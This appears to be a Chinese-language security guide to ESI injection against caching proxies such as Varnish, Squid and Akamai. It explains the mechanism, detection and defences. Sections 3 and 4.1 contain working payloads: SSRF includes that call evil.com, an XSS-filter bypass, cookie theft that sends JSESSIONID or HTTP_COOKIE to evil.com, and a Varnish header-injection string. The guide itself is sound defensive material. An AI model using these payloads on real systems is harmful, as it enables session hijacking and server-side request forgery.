ESI注入:利用缓存服务形成的SSRF和其它客户端形式渗透
字数 1419 2025-08-18 11:37:15
ESI注入漏洞分析与防御指南
1. ESI技术概述
Edge Side Includes (ESI)是一种基于XML的标记语言,主要用于HTTP代理服务器(如反向代理、负载均衡、缓存服务器)解决网页缓存问题。
1.1 基本功能
- 指引反向代理获取缓存中的网页内容
- 动态组合不同缓存片段
- 减少从源服务器抓取完整页面的次数
- 提高响应时间并降低服务器负载
1.2 典型用例
处理包含动态内容的静态页面,例如:
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
2. ESI注入漏洞原理
2.1 漏洞成因
- HTTP代理无法区分上游服务器响应的合法ESI标签和攻击者注入的恶意ESI标签
- ESI解析器处理标签时不编码或转义<和>之间的字符
- 现代Web框架的语境化转义可能导致JSON响应中的ESI标签被解析
2.2 受影响产品
- Varnish
- Squid Proxy
- IBM WebSphere
- Oracle Fusion/WebLogic
- Akamai
- Fastly
- F5
- Node.js ESI
- LiteSpeed
3. ESI注入攻击类型
3.1 服务端请求伪造(SSRF)
Payload示例:
<esi:include src="http://evil.com/ping/" />
攻击流程:
- 攻击者通过代理向后端服务器发送ESI payload
- 代理转发请求到后端服务器
- 后端响应包含ESI payload
- 代理解析ESI标签并请求evil.com
- 代理将响应组合后返回客户端
3.2 绕过客户端XSS过滤
Payload示例:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/> >alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
解析结果:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
3.3 绕过HttpOnly Cookie标记
Payload示例:
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
日志结果:
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
4. 不同产品的实现差异
| 产品 | Includes支持 | Vars支持 | Cookie访问 | 需要上游头 | 主机白名单 |
|---|---|---|---|---|---|
| Squid3 | ✓ | ✗ | ✓ | ✗ | ✗ |
| Varnish | ✓ | ✓ | ✓ | ✗ | ✗ |
| Akamai | ✓ | ✓ | ✓ | ✗ | ✓ |
| Fastly | ✓ | ✓ | ✓ | ✗ | ✓ |
| NodeJS ESI | ✓ | ✓ | ✓ | ✗ | ✗ |
4.1 产品特定利用方式
Squid3:
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>
Varnish Cache:
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
5. 检测方法
- 检查
Surrogate-Control头:Surrogate-Control: content="ESI/1.0" - 测试各种ESI payload的响应
- 尝试SSRF回调验证
6. 防御措施
-
输入过滤:
- 对所有用户输入进行严格的过滤和转义
- 特别注意JSON和CSV等非HTML格式的响应
-
配置防护:
- 禁用不必要的ESI功能
- 设置ESI includes的主机白名单
- 限制ESI变量的使用
-
安全开发:
- 使用现代Web框架的XSS防护机制
- 避免在API响应中包含未转义的HTML内容
-
产品选择:
- 选择默认禁用ESI功能或提供严格安全配置的产品
7. 总结
ESI注入是一种新型的攻击技术,利用缓存服务和代理服务器对ESI标签的处理机制,可以实现SSRF、绕过XSS防护和窃取HttpOnly Cookie等多种攻击。由于ESI规范本身缺乏安全考虑,且不同产品实现差异较大,防御ESI注入需要结合输入过滤、配置加固和安全开发实践等多种措施。安全团队应特别关注使用ESI技术的系统,并进行专项安全评估。